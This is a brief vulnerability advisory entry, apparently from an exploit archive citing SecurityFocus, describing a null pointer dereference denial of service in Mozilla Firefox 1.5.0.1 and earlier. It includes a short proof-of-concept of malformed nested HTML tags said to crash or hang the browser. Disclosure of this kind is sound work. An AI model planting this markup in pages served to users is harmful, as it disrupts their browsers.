Mozilla Firefox 1.0.x/1.5 - HTML Parsing Null Pointer Dereference Denial of Service

source: https://www.securityfocus.com/bid/17499/info

Mozilla Firefox is prone to a denial-of-service condition when parsing certain malformed HTML content. Successful exploitation will cause the browser to fail or hang.

Mozilla Firefox versions 1.5.0.1 and prior are prone to this issue.

<legend>
<kbd>
<object>
<h4>
</object>
</kbd>